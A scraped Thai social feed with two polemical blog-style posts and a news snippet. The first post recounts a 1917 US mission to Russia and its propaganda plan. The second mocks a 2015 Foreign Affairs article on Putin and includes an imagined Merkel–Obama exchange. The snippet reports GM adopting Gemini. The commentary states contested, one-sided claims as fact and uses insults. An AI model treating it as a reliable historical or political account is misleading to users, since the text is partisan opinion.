เดือนพฤษภาคม 1917 ใช้เวลาเจริญสัมพันธไมตรีกับคณะปฏิวัติ Kerensky ประมาณ 4 เดือน ไปมันทั่วรัสเซียอันกว้างใหญ่ไพศาล ไปจนถึงไซบีเรียโน่น ต้องยอมรับว่า คณะนี้เขาเล่นละครเก่ง คงสงสัยกัน พวก YMCA ( Young Men’s Christain Association) นี่คณะละคร เอาไปทำอะไร ในสมัยนั้น (และสมัยนี้ ?!) เขาใช้ YMCA ทำหน้าที่เหมือน CIA ในคราบทูตวัฒนธรรม ใช้ศาสนา การกีฬา การบรรเทิง บังหน้า เข้าไปคลุกคลี กับชาวบ้าน ชาวเมือง และนักเรียนนักศึกษา มีทั้ง YMCA และ YWCA ของฝ่ายหญิง การจะเอาเจ้าหน้าที่ หน่วยงานราชการทหาร ไปคลุกกับชาวบ้านนี่ บางทีไม่ได้ผล ชาวบ้านไม่เปิดใจ ก็ใช้กิจกรรมนำโดยกลุ่มแบบนี้ สมัยนี้ ก็คงไม่ใช้ YMCA แล้ว เขามาในรูปแบบของกลุ่มอะไร ลองเดาดู (2) เดือนสิงหาคม คณะละครเร่ แสดงเสร็จ ก็ทำรายงานยาวเหยียด ส่งให้รัฐมนตรีกระทรวงต่างประเทศ นาย Robert Lansing พิจารณา ผมจะขอยกมาเฉพาะบางส่วน ที่น่าสนใจ แต่จะเอาฉบับเต็มลงให้อ่านกันด้วย เผื่อท่านใดอยากจะตั้งคณะละคร จะได้ใช้เป็นตัวอย่าง คณะละครได้ไปพบทั้งพวกทำปฏิวัติ ทหารฝ่ายเก่า ฝ่ายใหม่ ชาวบ้าน ชาววัด ครู นักเรียน พ่อค้า นักธุรกิจ สายลับ ฯลฯ พบมันหมด ไปคุย ไปถาม ไปเสือก ก็เหมือนที่ไอ้บ้าอะไรที่เพิ่ง มาเสือกที่บ้านเรา เมื่อต้นเดือนนี้ละครับ มันคงมาจากคณะละครเดียวกัน รูปแบบ การเจรจา ถึงได้ทำนองเดียวกัน เล่นกันแบบนี้มา 100 ปีแล้ว ยังไม่เลิก ข้อสรุปที่คณะละคร ได้จากการสำรวจ คือ ชาวรัสเซีย ถอดใจไม่อยากเล่นสงครามแล้ว ขนมปังก็จะไม่มีกิน บ้านก็พัง จนแทบไม่เหลือที่ให้ซุกหัว จะไปรบทำไมอีก คณะละครอ้างว่า เพราะฝ่ายเยอรมันขนสายลับเข้ามา เต็มเมืองรัสเซีย มากรอกหูชาวรัสเซีย และทหารรัสเซียว่า จะไปรบทำไม คนอยากรบน่ะ คือพระเจ้าซาร์ ตอนนี้ท่านก็ไปแล้ว พี่น้องก็ไม่ต้องไปรบแล้ว กลับบ้านไปทำไร่ทำนาต่อแล้วกัน ฝ่ายคณะละครได้ยินเข้าก็ลมแทบใส่ นี่ใกล้จะถึงคิวเราเข้าฉากไปรบต่อ ถ้าไม่มีรัสเซียอยู่แถวหน้าตายก่อน พวกเราก็ ฉ. ห. ละซิ เพราะฉนั้น สิ่งที่ฝ่ายเราต้องทำด่วน (ที่เปิดเผยได้) มี 2 เรื่อง เรื่องที่ 1 เราต้องเอาทีมอเมริกัน เข้ามาดูแลเรื่องถนนหนทาง รางรถไฟ ในรัสเซีย เพราะขณะนี้ อาวุธยุทธภัณท์ ที่ฝ่ายเราขนมาให้ ยังกองค้างอยูที่เมืองท่า Vladivostok ประมาณ 700,000 ตัน จะขนผ่านข้ามไป Moscow ยังไม่ได้ เพราะทั้งถนน ทั้งทางรถไฟ รับน้ำหนักไม่ไหว แล้วเมื่อเราจะเข้าทำสงคราม ของมันจะต้องขนมาอีกมากมาย เราจะทำยังไง ต้องแก้ไขเรื่องนี้ด่วนจี๋ อืม คณะละครนี่ ไม่ใช่ย่อย ไม่ใช่มารำเฉิบๆ อย่างเดียว เขาไปสำรวจหมด ระยะทางรถไฟจาก Vladivostok ถึง Moscow น่ะ ประมาณ 5 ถึง 6,000 ไมล์ เชียวนะ รำไป สำรวจไปนี่ไม่ใช่งานเล็กๆ แล้วจำกันได้ไหมครับ เมื่อเขาจะรบกับเวียตนาม เขาใช้บ้านเราเป็นฐานทัพ แต่ก่อนจะยกโขยงกองทัพกันเข้ามา เขาส่งคณะละครเร่แบบนี้ มาสำรวจบ้านเราไม่รู้กี่คณะ สำรวจอะไรไปบ้างก็ไม่รู้ แล้วเขาก็สร้างถนน จากสระบุรี กว้างขวางยาวเรียบไปถึงโคราช ให้เราชาวบ้านดีใจ แหม อเมริกาใจดีจัง ถนนเลยมีชื่อว่า มิตรภาพ เปล่าหรอกครับ เขาเตรียมไว้ขนส่ง อาวุธ ยุทธภัณท์ ที่เขาจะขนมาทางเรือ แต่กลัวมากองเป็นภูเขา อยู่แถวท่าเรือคลองเตย แบบ Vladivostock! มันก็เลย ต้องสร้างถนน สร้างสนามบิน ให้ประเทศไทย ฯลฯ (รายละเอียดมีอยู่ในนิทานเรื่อง “จิกโก๋ปากซอย” ถ้าอยากอ่านประวัติศาสตร์ นอกหลักสูตร กระทรวงศึกษาฯ) เรื่องที่ 2 ที่คณะละคร บอกสำคัญอย่างยิ่ง คือ เราต้องย้อมความคิค ย้อมสมองคนรัสเซียให้ “อยากทำสงคราม” ไม่ให้เชื่อฟังเยอรมัน อเมริกาจะทำได้อย่างไร รัสเซียไม่ใช่สมันน้อยนะ คณะละครบอกไม่มีปัญหา คนรัสเซีย ก็เหมือนเด็ก ที่ตัวโตนั่นแหละ เอ้า เจ้าหน้าที่รัสเซียที่ตามอ่านนิทาน ช่วยขีดเส้นใต้ 2 เส้น แล้วรายงานส่งคุณพี่ปูตินของผมด้วยนะครับ ว่าอเมริกาพูดแบบนี้ แปลว่าเห็นคนรัสเซียเป็นยังไง (เสี้ยม ซะหน่อย) คณะละครเร่ เขียนแผนการฟอกย้อมให้เสร็จ เขาระบุว่า เป้าหมายของแผนคือ: “To influence the attitude of the people of Russia for the prosecution of war as the only way of perpetuating their democracy ” ใครแปลเก่งๆ ลองแปลดูครับ สำหรับผม ผมเข้าใจความว่า เพื่อเป็นการย้อมความคิดของคนรัสเซีย ให้เชื่อว่า การเข้าทำสงคราม เป็นทางเดียวที่จะทำให้ประชาธิปไตยของเขาอยู่อย่างยั่งยืน ผมเขียนปูพื้น เล่ามาเสียยืดยาว เพื่อจะให้อ่านประโยคนี้กัน อ่านแล้วโปรดพิเคราะห์กันให้ดีๆ จะได้เห็น “สันดาน” อันอำมหิต ของอเมริกา (และของอังกฤษ) ที่ผ่านมาแล้วเกือบ 100 ปี แล้วก็ยังไม่เปลี่ยน และอีกกี่ร้อยปี ก็คงไม่มีวันเปลี่ยนความอำมหิต นี้ โดยใช้ความตอแหล แบบหน้าด้านๆ อ้างเรื่องประชาธิปไตย แบบตะหวักตะบวย เพื่อประโยชน์ของมัน หรือพวกมันเท่านั้น ใครจะเจ็บ ใครจะตาย ใครจะฉิบหาย ใครจะวิบัติ ขนาดไหน มันไม่สนใจ เลวถึงขนาดนี้ อำมหิต อย่างนี้ ยังมีคนอยากให้อเมริกา ครอบหัวสี่เหลี่ยมต่อไปอีกหรือครับ แผนการฟอกย้อม จะใช้วิธีหลักๆ อยู่ 5 อย่าง 1. จัดกระบวนการ “สร้าง และย้อมข่าว” แล้วกระจายข่าว ที่สร้างและย้อมแล้ว ไปทั่วรัสเซีย โดยจะเอาทีมงานมาจากอเมริกา ทั้งด้านการเขียน และการแปล คือเอาช่างชำนาญการย้อมของอเมริกา มาตั้งโรงงานที่รัสเซีย เหมือนที่มีอยู่เกลื่อนในบ้านสมันน้อย ซื้อมันทุกช่อง ครอบมันทุกฉบับ 2. การใช้เอกสารประเภทแผ่นพับ และใบปลิว เพื่อง่ายแก่การเสพข่าว สมัยนี้ก็คงเปลี่ยนเป็น เครื่องมือ ไอ้ป๊อด ไอ้แป้ด ไอ้โฟน โดยเฉพาะ พวกเล่นไลน์นี่เหยื่อชั้นดี ส่งข่าวย้อมอะไรเข้าไปแพลบเดียว กระจายทั่ว เรื่องโกหกทั้งนั้น เสพกันได้แยะและเร็วกว่า 3. สร้างหนังประเภทต่างๆ เพื่อให้ชาวรัสเซียเสพ เช่น หนังเกี่ยวกับสงคราม หนังชีวิตคนอเมริกันในชนบท ในเมือง หนังเกี่ยวกับการทำอุตสาหกรรม การค้า หนังตลก และที่สำคัญ หนังที่แสดงถึงความรักชาติและการแสวงหาประชาธิปไตย ฮอลลีวู้ดรับไป เดี๋ยวนี้ก็ยังเป็นโรงย้อมที่สำคัญหมายเลขหนึ่ง 4. การโฆษณา ประชาสัมพันธ์ โดยเฉพาะทำเป็นแผ่นโปสเตอร์สีสวยสดุดตา สื่อหัวข้อที่เหมาะสมกับรัสเซีย โดยให้สำนักงานประชาสัมพันธ์ ฝีมือเยี่ยมของอเมริกา รู้ไหมครับ พวกประชาสัมพันธ์เก่งๆ เขาย้อมโลกใบนี้มานานเท่าไหร่แล้ว เขาเอาอะไรมาใส่หัวสมันน้อยบ้าง 5. วิธีการที่แนบเนียนและใช้แพร่หลาย คือการพูด ซึ่งจำเป็นต้องใช้ นักพูด นักประชาสัมพันธ์ และครู เป็นจำนวนมาก โดยอเมริกาอาจจะเลือกอย่างเหมาะสม จากชาวรัสเซียก็ได้ นักพูดและครูนี้ ถือว่าเป็นเครื่องมือย้อมที่เยี่ยมที่สุด วิธีการนี้ บ้านสมันน้อยใช้แยะมาก ยิ่งตอนนี้ซึ่งเป็นช่วงสำคัญของบ้านเมือง ช่างย้อมถูกจ้างมาทำหน้าที่เพิ่มขึ้นอีกมาก มาในสาระพัดคราบ หัดสังเกตกันบ้าง ใครของจริง ใครของปลอม ใครช่างย้อมฝีมือเนียน เป็นไงครับ 5 วิธีการหลัก ยังอยู่ครบในศตวรรษนี้ แค่เปลี่ยน เสื้อผ้า หน้าผม ถ้อยคำ ท่าทาง ให้เข้ากับสมัย ละครฉากเดิมๆก็ยังใช้ได้ เครื่องมือย้อมก็ยังใช้อยู่ แค่เปลี่ยนรุ่นใหม่ไปเรื่อยๆ เท่านั้น นี่ตกลงเราจะให้เขาเล่นแบบนี้ ไปเรื่อยๆ อีก 100 ปีหรือไงครับ สวัสดีครับ คนเล่านิทาน 26 กพ. 2558 #################### เอกสารประกอบ FRUS https://www.dropbox.com/s/
    0 Comments 0 Shares 261 Views 0 Reviews
  • เรื่อง ตาเหลือก
    “ตาเหลือก”

    คนโบราณ เวลาเล่าอะไร ท่านจะมีถ้อยคำบรรยายให้เราเห็นภาพชัด เช่น ขณะที่พวกลุงๆกำลังถกกันมันปากว่า ตกลงอีเอ๋อ มันจะได้ไปเจอพี่มัน ที่ใกล้จะลงโลงอยู่ที่โรงแรมอะไร วะ พูดได้แค่นั้นก็ต้องหยุด เพราะไอ้จ้อนวิ่งสี่ตีน ตาเหลือก มาบอกว่า ลุงตู่ๆ เร็วๆเข้า ปู่จิ๋ว เดินสะดุดปากตัวเอง หัวทิ่มฟาดพื้นเลือดไหลโกรกเลย..แปลว่าปู่จิ๋วแกต้องกำลังแย่จริงๆ ไอ้จ้อนถึงกับตกใจ ตาเหลือกวิ่งมา

    ผมชอบอ่านบทความของสื่อ ที่ทำหน้าที่เป็นโรงงานประชาสัมพันธ์ แบบถนัดย้อมสี ของไอ้นักล่าใบตองแห้ง โดยเฉพาะจากพวกที่เป็นถังความคิด แล้วเอามาถอดรหัสมันอีกต่อว่า ตอนนี้จริงๆแล้ว มันมีอาการอย่างไร สบายดี แค่ไข้จับสั่น หรือป่วยหนักถึงขนาดน้ำลายฟูมปาก ฯลฯ โดยเฉพาะอ่านจาก Foreign Affairs ซึ่งเป็นสื่อของ Council on Foreign Relations (CFR) ถังความคิดหมายเลขหนึ่ง ที่มีอิทธิพลต่อนโยบายและความคิดของไอ้นักล่าใบตองแห้ง

    ล่าสุด ผมอ่านเมื่อ 2 วันก่อน เป็นบทความลงวันที่ 5 กุมภาพันธ์ 2015 ชื่อเรื่อง “Goodbye, Putin” Why the President’s Days Are Numbered ยังไม่ทันอ่านเรื่องก็เดาออกแล้ว ว่า จะเร้าใจใส่สีแรงขนาดไหน

    คนเขียนบอกว่า ยิ่งสงครามที่ยูเครนยืดเยื้อนานไปเท่าไหร่ รัฐบาลของนายปูตินก็ล่มเร็วขึ้นเท่านั้นแหล่ะ นายปูตินปกครองรัสเซียมา 15 ปีแล้ว แม้ในตอนแรกๆ นโยบายเขาจะทำให้ได้คะแนนเสียง เช่น ตอนไล่พวกเช็คเชนออกไป หรือตอนอัดกลับพวกตะวันตก แต่หลังจากไปยึดไครเมีย และทำสงครามกับยูเครน ที่ทำให้ชาวรัสเซียตายเป็นเบือ และเศรษฐกิจของรัสเซียพุ่งลงเหว คะแนนเสียงของนายปูตินก็พุ่งหลาวตามลงไปด้วย ทุกสัญญาณแสดงว่า นายปูตินกำลังจะไปไม่รอด ระหว่างนี้พวกตะวันตกต้องดูแลยูเครนอย่างดีที่สุด แต่คงไม่นาน เพราะรัสเซียที่กำลังเน่าเฟะ กำลังจะร่วงหล่นอยู่แล้ว

    นอกเหนือจากนโยบายที่ผิดพลาดแล้ว นายปูตินยังมีปัญหาเรื่องภาพพจน์ ซึ่งนายปูตินก็รู้ตัว แม้ว่าจะบอกว่ามีเสน่ห์มีบารมี แต่เขารูปร่างขนาดเตี้ยแคระ…

    แม่เจ้าโว้ย นี่ เป็นถึงหนังสือ Foreign Affairs นะ ไม่ใช่หนังสือประเภทขายดารา มันคงไม่รู้จะด่าอะไรแล้ว ด่าตั้งกะนโยบายทำนายว่าจวนจะหล่น มันคงไม่หนำใจ เลยเล่นไปถึงเรื่องรูปโฉมกันเลย ไม่รู้หรือไง แถวบ้านสมันน้อยเขาปลื้มคุณพี่กัน ถึงขนาดมีสมาคมคนรักปูติน นี่มันแสดงว่า ไอ้นักล่ากำลังเริ่มตาเหลือกแล้วละสิ ถึงต้องเขียนข่าวแบบนี้ และสงสัยมันก็ได้ตาเหลือกจริงสมใจ
    ผมอ่านบทความเรื่องดาราจะลาโรงนี่ ยังไม่ทันจบดีเลย ดันม่อยหลับเพราะเหม็นน้ำเน่าของ เรื่อง อ้าวตื่นมาอีกที เห็นข่าวเมือง Donestsk ยูเครน ได้รับของขวัญ เป็นดอกเห็ดรุ่นใหม่ ดอกเล็กจิ๋ว แต่เขาว่าฤทธิ์ไม่แพ้ดอกใหญ่ คงมีใครทดลองส่งไปให้ดู ก่อนชุดจริง จะส่งข้ามทวีปไปให้ แบบนี้แสดงว่า ยูเครนคงจบยาก หรือจบไม่สวย

    อย่าลืมว่า เมื่อวันคุณป้าเข้มขัดเหล็ก จูงมือกับคุณลุงโอลองด์ ไปคุยกันให้รู้เรื่องกับคุณพี่ปูติน ที่รัสเซีย ข่าวไม่บอกว่าคุยได้เรื่องอะไรบ้าง แต่ผมดูสารรูปของคุณป้าตอนคุย เหมือนกำลังต้องการยาหอมแก้ลมใส่อย่างยิ่ง และขากลับ ดูเหมือนเข็มขัดเหล็ก จะกลายเป็นเข็มขัดหลุด ก็พอจะเดาผลการคุยได้ แถมคุณป้า ยังต้องทำหน้าที่กาคาบความไปบอกให้นายโอบามาถึงที่อีกด้วย เพราะข้อความบางอัน ผมเดาว่า คุณป้าคงไม่กล้าพูดผ่านใคร กลัวเขาไม่กล้าถ่ายทอด ป้าต้องถ่ายเอง ถึงจะได้อรรถรสครบถ้วน จากที่รับมาจากคุณพี่ปูติน

    ผลการคุยวันก่อนเป็นอย่างไร วันนี้ (10 กพ) ก็คงได้รู้กันแล้ว

    คุณป้าเข็มขัดเหล็ก หน้าตก บอกนายโอบามาว่า เขาไม่ยอมหรอก อย่าไปขู่เขาด้วยการคว่ำบาตรซ้ำเลย เพราะไม่ใช่เขาช้ำคนเดียว คนที่จะช้ำด้วยและหนักหนา คือพวกฉันที่อยู่ยุโรปนั่นแหละ แล้วถ้าเธอขนอาวุธ ขนกองทัพเข้าไปในยูเครน หยั่งที่ออกข่าวขู่ไปน่ะ เธอนึกว่าเขาจะถอยเหรอ มันเหมือนยิ่งยุเขา เขาไม่ได้มีมือเปล่านะ และไม่ได้มาคนเดียวด้วย เธอก็รู้ เธอนึกว่าเธอจะกล่อมอิหร่านได้เหรอ เซ่อจริง ตาโอ เขาจับมือตกลงกับทางโน้นเรียบร้อยไปตั้งนานแล้ว ไม่งั้นการเจรจาของเธอ มันจะเดินหน้าถอยหลังอย่างนี้เหรอ แล้วตอนนี้เขาอยู่ไหนล่ะ โน่น เขาไปนั่งคุยอยู่ที่อียิปต์ ก็เพราะเธออีกนั่นแหละ เซ่อซ้ำซาก เดินหมากผิด ไปถีบมูบารักเขาทิ้งน่ะ เธอทำอย่างนี้มาตลอด แล้วใครจะไปเชื่อเธออีก อย่าลืมตุรกีด้วย ตอนนี้เขาเห็นหัวเธอไหม จะให้ฉันจาระไนให้เธอฟังไหม ตาโอ ว่าตอนนี้ เขาคุยอะไรกับใครบ้าง ที่สำคัญ เขายังมีอาเฮียช่วยเดินสาย เก็บเล็กเก็บใหญ่ให้อีก เธอรู้ใช่ไหมมันแปลว่าอะไร เขากำลังจับมือกัน เดินเรียงแถวดาหน้ามาใส่พวกเราไงล่ะ

    เธอนึกว่า จะให้พวกฉันแถวยุโรปรับกรรมบ้านช่องพัง แล้วเธอก็ลอยตัว เหมือนตอนสงครามโลกครั้งที่ 1 ครั้งที่ 2 อีกน่ะเหรอ นี่มันจะครั้งที่ 3 แล้วนะยะ จะให้พวกยุโรป โง่ซ้ำซาก โดนบอมบ์อยู่ข้างเดียวงั้นเหรอ เขาฝากมาบอกย่ะ ว่าคราวนี้ละ ตาโอ ตาแกบ้างซิ ป้ากลัวจนจะตดแตกอยู่แล้ว เขาฝากมาบอกว่า คราวนี้ลงบ้านแกแน่นอน เข้าใจมั้ย

    นี่ผมเดาเอาทั้งนั้นนะครับ ว่าคุณป้าแกคงใส่นายโอบามาเสียยับ แบบไม่ติดเบรคอย่างนั้น

    มันไม่น่าจะผิดไปจากนี้เท่าไหร่หรอก ถ้าเราฟังจากที่นายโอบามาพูด ตอนแถลงข่าวคู่กับคุณป้าเข็มขัดเหล็ก ที่ทำเนียบขาววันนี้ (10กพ) และดูสีหน้าของนายโอบามา ซึ่งเหมือนคนกินของแสลงเข้าไปเต็มท้อง ส่วนคุณป้า คราวนี้อย่าว่าแต่เข็มขัดเหล็กจะคาดไม่อยู่เลย ตัวแก ก็แทบจะยืนไม่อยู่ ถูกบีบจากทุกทาง จนหน้าตกเกือบถึงสะดือ

    ตอนนี้ดูเหมือนผู้เกี่ยวข้อง รู้สึกจะต่างเสียงกันเกี่ยวกับเรื่อง การติดอาวุธให้ยูเครน และการแซงชั่นรัสเซีย แม้ในกลุ่มพวกกันเอง แต่สำหรับคุณป้าเข็มขัดหลุด กับนักล่าใบตองแห้ง ต่างยืนเอามือยันโต๊ะ บอกว่า (ตอนนี้) เรายังร้องเพลงเดียวกันอยู่ แต่ไม่รู้อีกนานเท่าไหร่

    การติดอาวุธให้ยูเครน หมายถึงโอกาสเกิดสงครามโลกคร้ังที่ 3 สูงอย่างรวดเร็วจนน่ากลัว

    สวัสดีครับ
    คนเล่านิทาน
    10 กพ 58
    เรื่อง ตาเหลือก “ตาเหลือก” คนโบราณ เวลาเล่าอะไร ท่านจะมีถ้อยคำบรรยายให้เราเห็นภาพชัด เช่น ขณะที่พวกลุงๆกำลังถกกันมันปากว่า ตกลงอีเอ๋อ มันจะได้ไปเจอพี่มัน ที่ใกล้จะลงโลงอยู่ที่โรงแรมอะไร วะ พูดได้แค่นั้นก็ต้องหยุด เพราะไอ้จ้อนวิ่งสี่ตีน ตาเหลือก มาบอกว่า ลุงตู่ๆ เร็วๆเข้า ปู่จิ๋ว เดินสะดุดปากตัวเอง หัวทิ่มฟาดพื้นเลือดไหลโกรกเลย..แปลว่าปู่จิ๋วแกต้องกำลังแย่จริงๆ ไอ้จ้อนถึงกับตกใจ ตาเหลือกวิ่งมา ผมชอบอ่านบทความของสื่อ ที่ทำหน้าที่เป็นโรงงานประชาสัมพันธ์ แบบถนัดย้อมสี ของไอ้นักล่าใบตองแห้ง โดยเฉพาะจากพวกที่เป็นถังความคิด แล้วเอามาถอดรหัสมันอีกต่อว่า ตอนนี้จริงๆแล้ว มันมีอาการอย่างไร สบายดี แค่ไข้จับสั่น หรือป่วยหนักถึงขนาดน้ำลายฟูมปาก ฯลฯ โดยเฉพาะอ่านจาก Foreign Affairs ซึ่งเป็นสื่อของ Council on Foreign Relations (CFR) ถังความคิดหมายเลขหนึ่ง ที่มีอิทธิพลต่อนโยบายและความคิดของไอ้นักล่าใบตองแห้ง ล่าสุด ผมอ่านเมื่อ 2 วันก่อน เป็นบทความลงวันที่ 5 กุมภาพันธ์ 2015 ชื่อเรื่อง “Goodbye, Putin” Why the President’s Days Are Numbered ยังไม่ทันอ่านเรื่องก็เดาออกแล้ว ว่า จะเร้าใจใส่สีแรงขนาดไหน คนเขียนบอกว่า ยิ่งสงครามที่ยูเครนยืดเยื้อนานไปเท่าไหร่ รัฐบาลของนายปูตินก็ล่มเร็วขึ้นเท่านั้นแหล่ะ นายปูตินปกครองรัสเซียมา 15 ปีแล้ว แม้ในตอนแรกๆ นโยบายเขาจะทำให้ได้คะแนนเสียง เช่น ตอนไล่พวกเช็คเชนออกไป หรือตอนอัดกลับพวกตะวันตก แต่หลังจากไปยึดไครเมีย และทำสงครามกับยูเครน ที่ทำให้ชาวรัสเซียตายเป็นเบือ และเศรษฐกิจของรัสเซียพุ่งลงเหว คะแนนเสียงของนายปูตินก็พุ่งหลาวตามลงไปด้วย ทุกสัญญาณแสดงว่า นายปูตินกำลังจะไปไม่รอด ระหว่างนี้พวกตะวันตกต้องดูแลยูเครนอย่างดีที่สุด แต่คงไม่นาน เพราะรัสเซียที่กำลังเน่าเฟะ กำลังจะร่วงหล่นอยู่แล้ว นอกเหนือจากนโยบายที่ผิดพลาดแล้ว นายปูตินยังมีปัญหาเรื่องภาพพจน์ ซึ่งนายปูตินก็รู้ตัว แม้ว่าจะบอกว่ามีเสน่ห์มีบารมี แต่เขารูปร่างขนาดเตี้ยแคระ… แม่เจ้าโว้ย นี่ เป็นถึงหนังสือ Foreign Affairs นะ ไม่ใช่หนังสือประเภทขายดารา มันคงไม่รู้จะด่าอะไรแล้ว ด่าตั้งกะนโยบายทำนายว่าจวนจะหล่น มันคงไม่หนำใจ เลยเล่นไปถึงเรื่องรูปโฉมกันเลย ไม่รู้หรือไง แถวบ้านสมันน้อยเขาปลื้มคุณพี่กัน ถึงขนาดมีสมาคมคนรักปูติน นี่มันแสดงว่า ไอ้นักล่ากำลังเริ่มตาเหลือกแล้วละสิ ถึงต้องเขียนข่าวแบบนี้ และสงสัยมันก็ได้ตาเหลือกจริงสมใจ ผมอ่านบทความเรื่องดาราจะลาโรงนี่ ยังไม่ทันจบดีเลย ดันม่อยหลับเพราะเหม็นน้ำเน่าของ เรื่อง อ้าวตื่นมาอีกที เห็นข่าวเมือง Donestsk ยูเครน ได้รับของขวัญ เป็นดอกเห็ดรุ่นใหม่ ดอกเล็กจิ๋ว แต่เขาว่าฤทธิ์ไม่แพ้ดอกใหญ่ คงมีใครทดลองส่งไปให้ดู ก่อนชุดจริง จะส่งข้ามทวีปไปให้ แบบนี้แสดงว่า ยูเครนคงจบยาก หรือจบไม่สวย อย่าลืมว่า เมื่อวันคุณป้าเข้มขัดเหล็ก จูงมือกับคุณลุงโอลองด์ ไปคุยกันให้รู้เรื่องกับคุณพี่ปูติน ที่รัสเซีย ข่าวไม่บอกว่าคุยได้เรื่องอะไรบ้าง แต่ผมดูสารรูปของคุณป้าตอนคุย เหมือนกำลังต้องการยาหอมแก้ลมใส่อย่างยิ่ง และขากลับ ดูเหมือนเข็มขัดเหล็ก จะกลายเป็นเข็มขัดหลุด ก็พอจะเดาผลการคุยได้ แถมคุณป้า ยังต้องทำหน้าที่กาคาบความไปบอกให้นายโอบามาถึงที่อีกด้วย เพราะข้อความบางอัน ผมเดาว่า คุณป้าคงไม่กล้าพูดผ่านใคร กลัวเขาไม่กล้าถ่ายทอด ป้าต้องถ่ายเอง ถึงจะได้อรรถรสครบถ้วน จากที่รับมาจากคุณพี่ปูติน ผลการคุยวันก่อนเป็นอย่างไร วันนี้ (10 กพ) ก็คงได้รู้กันแล้ว คุณป้าเข็มขัดเหล็ก หน้าตก บอกนายโอบามาว่า เขาไม่ยอมหรอก อย่าไปขู่เขาด้วยการคว่ำบาตรซ้ำเลย เพราะไม่ใช่เขาช้ำคนเดียว คนที่จะช้ำด้วยและหนักหนา คือพวกฉันที่อยู่ยุโรปนั่นแหละ แล้วถ้าเธอขนอาวุธ ขนกองทัพเข้าไปในยูเครน หยั่งที่ออกข่าวขู่ไปน่ะ เธอนึกว่าเขาจะถอยเหรอ มันเหมือนยิ่งยุเขา เขาไม่ได้มีมือเปล่านะ และไม่ได้มาคนเดียวด้วย เธอก็รู้ เธอนึกว่าเธอจะกล่อมอิหร่านได้เหรอ เซ่อจริง ตาโอ เขาจับมือตกลงกับทางโน้นเรียบร้อยไปตั้งนานแล้ว ไม่งั้นการเจรจาของเธอ มันจะเดินหน้าถอยหลังอย่างนี้เหรอ แล้วตอนนี้เขาอยู่ไหนล่ะ โน่น เขาไปนั่งคุยอยู่ที่อียิปต์ ก็เพราะเธออีกนั่นแหละ เซ่อซ้ำซาก เดินหมากผิด ไปถีบมูบารักเขาทิ้งน่ะ เธอทำอย่างนี้มาตลอด แล้วใครจะไปเชื่อเธออีก อย่าลืมตุรกีด้วย ตอนนี้เขาเห็นหัวเธอไหม จะให้ฉันจาระไนให้เธอฟังไหม ตาโอ ว่าตอนนี้ เขาคุยอะไรกับใครบ้าง ที่สำคัญ เขายังมีอาเฮียช่วยเดินสาย เก็บเล็กเก็บใหญ่ให้อีก เธอรู้ใช่ไหมมันแปลว่าอะไร เขากำลังจับมือกัน เดินเรียงแถวดาหน้ามาใส่พวกเราไงล่ะ เธอนึกว่า จะให้พวกฉันแถวยุโรปรับกรรมบ้านช่องพัง แล้วเธอก็ลอยตัว เหมือนตอนสงครามโลกครั้งที่ 1 ครั้งที่ 2 อีกน่ะเหรอ นี่มันจะครั้งที่ 3 แล้วนะยะ จะให้พวกยุโรป โง่ซ้ำซาก โดนบอมบ์อยู่ข้างเดียวงั้นเหรอ เขาฝากมาบอกย่ะ ว่าคราวนี้ละ ตาโอ ตาแกบ้างซิ ป้ากลัวจนจะตดแตกอยู่แล้ว เขาฝากมาบอกว่า คราวนี้ลงบ้านแกแน่นอน เข้าใจมั้ย นี่ผมเดาเอาทั้งนั้นนะครับ ว่าคุณป้าแกคงใส่นายโอบามาเสียยับ แบบไม่ติดเบรคอย่างนั้น มันไม่น่าจะผิดไปจากนี้เท่าไหร่หรอก ถ้าเราฟังจากที่นายโอบามาพูด ตอนแถลงข่าวคู่กับคุณป้าเข็มขัดเหล็ก ที่ทำเนียบขาววันนี้ (10กพ) และดูสีหน้าของนายโอบามา ซึ่งเหมือนคนกินของแสลงเข้าไปเต็มท้อง ส่วนคุณป้า คราวนี้อย่าว่าแต่เข็มขัดเหล็กจะคาดไม่อยู่เลย ตัวแก ก็แทบจะยืนไม่อยู่ ถูกบีบจากทุกทาง จนหน้าตกเกือบถึงสะดือ ตอนนี้ดูเหมือนผู้เกี่ยวข้อง รู้สึกจะต่างเสียงกันเกี่ยวกับเรื่อง การติดอาวุธให้ยูเครน และการแซงชั่นรัสเซีย แม้ในกลุ่มพวกกันเอง แต่สำหรับคุณป้าเข็มขัดหลุด กับนักล่าใบตองแห้ง ต่างยืนเอามือยันโต๊ะ บอกว่า (ตอนนี้) เรายังร้องเพลงเดียวกันอยู่ แต่ไม่รู้อีกนานเท่าไหร่ การติดอาวุธให้ยูเครน หมายถึงโอกาสเกิดสงครามโลกคร้ังที่ 3 สูงอย่างรวดเร็วจนน่ากลัว สวัสดีครับ คนเล่านิทาน 10 กพ 58
    0 Comments 0 Shares 193 Views 0 Reviews
  • GM ปฏิวัติระบบรถยนต์: ใช้ Gemini แทน CarPlay และ Android Auto ภายในปี 2026

    General Motors (GM) ประกาศแผนการครั้งใหญ่ในการยกเลิกการรองรับ Apple CarPlay และ Android Auto ในรถยนต์ทุกประเภท ทั้งไฟฟ้าและน้ำมัน เพื่อเปิดทางให้กับ Gemini — ระบบผู้ช่วย AI จาก Google ที่จะถูกฝังเข้าไปในรถยนต์ของ GM ตั้งแต่ปี 2026 เป็นต้นไป

    Gemini จะทำหน้าที่เป็นผู้ช่วยส่วนตัวในรถยนต์ที่สามารถโต้ตอบด้วยภาษาธรรมชาติ เข้าใจคำสั่งที่ซับซ้อน และเชื่อมโยงกับข้อมูลของรถแบบเรียลไทม์ เช่น การแจ้งเตือนซ่อมบำรุง การวางแผนเส้นทาง หรือแม้แต่การตอบคำถามเกี่ยวกับสถานที่ที่กำลังขับผ่าน เช่น “สะพานนี้มีประวัติอย่างไร”

    ระบบใหม่นี้จะถูกอัปเดตผ่าน OTA (Over-the-Air) ผ่าน Google Play Store สำหรับรถยนต์ที่มีระบบ OnStar ตั้งแต่รุ่นปี 2015 ขึ้นไป โดย GM ยืนยันว่าจะให้ผู้ใช้ควบคุมข้อมูลส่วนตัวอย่างเต็มที่ หลังจากเคยถูกวิจารณ์เรื่องการแชร์ข้อมูลกับบริษัทประกันภัย

    Gemini ไม่ใช่แค่การเปลี่ยนผู้ช่วยเสียง แต่เป็นก้าวแรกสู่แพลตฟอร์มคอมพิวเตอร์ในรถยนต์ที่ GM พัฒนาขึ้นเอง ซึ่งจะรองรับระบบขับเคลื่อนอัตโนมัติในอนาคตภายในปี 2028

    การเปลี่ยนแปลงครั้งใหญ่ของ GM
    ยกเลิกการรองรับ Apple CarPlay และ Android Auto
